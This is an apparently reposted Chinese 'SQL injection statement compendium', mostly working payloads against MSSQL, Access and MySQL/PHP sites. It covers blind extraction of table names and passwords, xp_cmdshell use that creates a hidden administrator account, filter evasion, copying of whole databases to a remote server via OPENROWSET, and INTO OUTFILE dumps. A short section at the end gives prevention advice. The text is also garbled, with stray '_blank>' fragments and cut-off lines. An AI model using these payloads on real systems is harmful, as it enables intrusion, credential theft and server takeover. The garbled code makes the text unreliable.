SQL注入语句大全

SQL注入语句大全1 判断有无注入点 and1 1and1 22 猜表一般的表的名称无非是 adminadminus 等 and0and03 猜帐号数目如果遇到 0and0and14 猜解字段名称在 le

大家好,欢迎来到IT知识分享网。

2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
and 1=(select count(*) from admin where len(*)>0)– 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确 
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符 
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位 
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位 
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) — 
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1– 
group by users.id, users.username, users.password, users.privs having 1=1– 
; insert into users values( 666, attacker, foobar, 0xffff )–

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

>_id,login_blank>_name)- 
UNION SELECT TOP 1 login_blank>_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 
and sa=(SELECT System_blank>_user)– 
and user_blank>_name()=dbo– 
and 0<>(select user_blank>_name()–

blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– 
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\

xplog70.dll–

_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp; /add–

run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e:\”–

run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

 

 

得到库名(从1到5都是系统的id,6以上才可以判断) 
and 1=(select name from master.dbo.sysdatabases where dbid=7)– 
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

来得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 
and uid>(str(id))) 暴到UID的数值假设为 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=) 得到一个admin的一个

字段,假设为 user_blank>_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id= and name not in 
(id,…)) 来暴出其他的字段 
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(s

得到WEB路径 
;create table [dbo].[swap] ([swappass][char](255));– 
and (select top 1 swappass from swap)=1– 
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,

@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank

>_name=/, values=@test OUTPUT insert into paths(path) values(@test)– 
;use ku1;– 
;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程: 
;exec master..xp_blank>_cmdshell dir 
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号 
;exec master.dbo.sp_blank>_password null,jiaoniang$,;– 
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$Content$nbsp;sysadmin;– 
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$Content$nbsp; /workstations:* /

times:all /passwordchg:yes /passwordreq:yes /active:yes /add;– 
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$Content$nbsp;/add;– 
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务 
exec master..xp_blank>_servicecontrol start, server 
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP

_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaonian

P_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录

blank>_addlogin hax)

查询构造: 
SELECT * FROM news WHERE id=… AND topic=… AND ….. 
adminand 1=(select count(*) from

 

您正在看的SQLserver教程是:sql注入语句。[user] where username=victim and right(left(userp

ass,01),1)=1) and userpass <> 
select 123;– 
;use master;– 
:a or name like fff%;– 显示有一个叫ffff的用户哈。 
and 1<>(select count(email) from [user]);– 
;update [users] set email=(select top 1 name from sysobjects where xtype=u and

d>) where name=ffff;– 
;update [users] set email=(select top 1 count(id) from password) where name=ffff;– 
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;– 
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;– 
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x

73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)– 
insert into users values( 667,123,123,0xffff)– 
insert into users values ( 123, admin–, password, 0xffff)– 
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名 
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);– 
这是将第一个表名更新到aaa的字段处。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0

and name<>vote);– 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,一个个的读出,直到没有为止。 
读字段是这样: 
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobje

字段列如:1) [ where 条件]

绕过IDS的检测[使用变量] 
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

1、 开启远程_blank>数据库 
基本语法 
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select *

from table1 ) 
参数: (1) OLEDB Provider name 
2、 其中连接字符串参数可以是任何端口用来连接,比如 
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address

=192.168.0.1,1433;, select * from table 
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

 

基本语法: 
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select *

=192.168.0.1,1433;,select * from _blank>_sysdatabases) 
select * from master.dbo.sysdatabases 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

您正在看的SQLserver教程是:sql注入语句。_database.dbo.sysobjects 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

=192.168.0.1,1433;,select * from _blank>_syscolumns) 
select * from user_blank>_database.dbo.syscolumns 
复制_blank>数据库: 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

s=192.168.0.1,1433;,select * from table2) select * from database..table2

nvarchar(255));– 
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器 
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表 
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录

– 查看某个文件的内容 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;– 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;– 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\Admin

dirtree适用权限PUBLIC) 
写入表: 
语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));– 
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));– 
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));– 
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));– 
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));– 
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));– 
语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));– 
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));– 
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去: 
;create table dirs(paths varchar(100), id int)– 
;insert dirs exec master.dbo.xp_blank>_dirtree c:\– 
and 0<>(select top 1 paths from dirs)– 
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))– 
;create table dirs1(paths varchar(100), id int)– 
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web– 
and 0<>(select top 1 paths from dirs1)–

=e:\web\down.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where

,1) from sysobjects) 参看相关表。 
and 1=(select user_blank>_id from USER_blank>_LOGIN) 
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=- 
declare @o int 
exec sp_blank>_oacreate wscript.shell, @o out 
exec sp_blank>_oamethod @o, run, NULL, notepad.exe 
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>

_oamethod @o, run, NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int 
declare @line varchar(8000) 
exec sp_blank>_oacreate scripting.filesystemobject, @o out 
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 
exec @ret = sp_blank>_oamethod @f, readline, @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_blank>_oamethod @f, readline, @line out 
end

declare @o int, @f int, @t int

您正在看的SQLserver教程是:sql注入语句。, @ret int 
exec sp_blank>_oacreate scripting.filesystemobject, @o out 
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 
exec @ret = sp_blank>_oamethod @f, writeline, NULL,

declare @o int, @ret int 
exec sp_blank>_oacreate speech.voicetext, @o out 
exec sp_blank>_oamethod @o, register, NULL, foo, bar 
exec sp_blank>_oasetproperty @o, speed, 150 
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out

exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetp

roperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your

sequel servers are belong to us, 528 waitfor delay 00:00:05–

xp_blank>_dirtree适用权限PUBLIC 
exec master.dbo.xp_blank>_dirtree c:\ 
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 
create table dirs(paths varchar(100), id int) 
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 
insert dirs exec master.dbo.xp_blank>_dirtree c:\ 
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
文章出处:http://www.diybl.com/course/7_databases/sql/msshl/2007616/59684_2.html

 

===MYSQL基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel’ into outfile ‘c:/file.txt
http://127.0.0.1/injection/user.php?username=’ or 1=1 into outfile ‘c:/file.txt
http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user into outfile ‘c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ‘1’);
构造homepage值为:http://4ngel.net’, ‘3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘angel’, ‘mypass’, ‘http://4ngel.net’, ‘3’)#’, ‘1’);

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net’, userlevel=’3
之后SQL语句变为
UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’
userlevel为用户级别
2:修改password值为
mypass)’ WHERE username=’admin’#
之后SQL语句变为
UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’
3:修改id值为
‘ OR username=’admin’
之后SQL语句变为
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {

//….
}else{

$str = mysql_real_escape_string($str);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

 

以下实例,作者angel

php+Mysql的注入

  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

$command = “dir c:\”;
system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’
②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

① 指定变量$id为:
1′ and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=’1′ and 1=2 union select * from user where userid=1/*’

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

$sql = “SELECT *
FROM ” . FORUMS_TABLE . “
WHERE forum_id = $forum_id”;

  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

简单的例子

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `user`
#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);

  验证用户文件的代码如下:

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’ AND password=’$password'”;

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{

echo “登陆失败”;
} else {

echo “登陆成功”;
}

echo “<p>SQL Query:$sql<p>”;
?>

  这时我们提交:

http://127.0.0.1/injection/user.php?username=angel’ or 1=1

  就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败

SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=”

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13

  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel’ or ‘1=1

  这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel’/*
http://127.0.0.1/injection/user.php?username=angel’%23

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

<form method=”GET” action=”search.php” >
<input name=”keywords” type=”text” value=”” size=”15″> <input type=”submit” value=”Search”>
</form>
<p><b>Search result</b></p>

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$keywords = $_GET[‘keywords’];
if (!empty($keywords)) {

  //$keywords = addslashes($keywords);
  //$keywords = str_replace(“_”,”\_”,$keywords);
  //$keywords = str_replace(“%”,”\%”,$keywords);

  $sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE ‘%$keywords%’ $search ORDER BY title DESC”;
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo “<p>SQL Query:$sql<p>”;

  if ($tatol <=0){

    echo “The \”<b>$keywords</b>\” was not found in all the record.<p>\n”;
  } else {

    while ($article=mysql_fetch_array($result)) {

      echo “<li>”.htmlspecialchars($article[title]).”<p>\n”;
    } //while
  }
} else {

  echo “<b>Please enter some keywords.</b><p>\n”;
}
?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%’ ORDER BY articleid/*
%’ ORDER BY articleid#
__’ ORDER BY articleid/*
__’ ORDER BY articleid#

  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ‘%%’ ORDER BY articleid/*%’ ORDER BY title DESC
SELECT * FROM article WHERE title LIKE ‘%__’ ORDER BY articleid#%’ ORDER BY title DESC

  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

  查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

① 本表查询

  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username'”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row) {

  echo “该记录不存在”;
  echo “<p>SQL Query:$sql<p>”;
  exit;
}

echo “你要查询的用户ID是:$row[userid]\n”;
echo “<p>SQL Query:$sql<p>”;
?>

  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ AND password=’$password’SELECT * FROM user WHERE username=’$username’

http://127.0.0.1/injection/user.php?username=angel’ and password=’mypass

  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ AND password=’mypass’

  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6

  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,2)=’my
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,3)=’myp
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,4)=’mypa
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,5)=’mypas
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,6)=’mypass

  看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询

  这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……

  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……

  否则就会报错:

The used SELECT statements have a different number of columns

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `article`
#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!’);
INSERT INTO `article` VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);

  这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用“SELECT 1,1,1,1……”了。

  下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = “SELECT * FROM article WHERE articleid=’$id'”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{

  echo “该记录不存在”;
  echo “<p>SQL Query:$sql<p>”;
  exit;
}

echo “title<br>”.$row[title].”<p>\n”;
echo “content<br>”.$row[content].”<p>\n”;
echo “<p>SQL Query:$sql<p>”;
?>

正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM user ……

  由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*

  按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999′ union select 1,username,password from user/*

  如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。

三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile ‘c:/file.txt’
select * from table into outfile ‘/var/www/file.txt’

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

  • 必须导出到能访问的目录,这样才能下载。
  • 能访问的目录必须要有可写的权限,否则导出会失败。
  • 确保硬盘有足够的容量能容下导出的数据,这个很少见。
  • 确保要已经存在相同的文件名,会导致导出失败,并提示:“File ‘c:/file.txt’ already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。

  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHERE username=’$username’ into outfile ‘c:/file.txt’

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel’ into outfile ‘c:/file.txt

  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

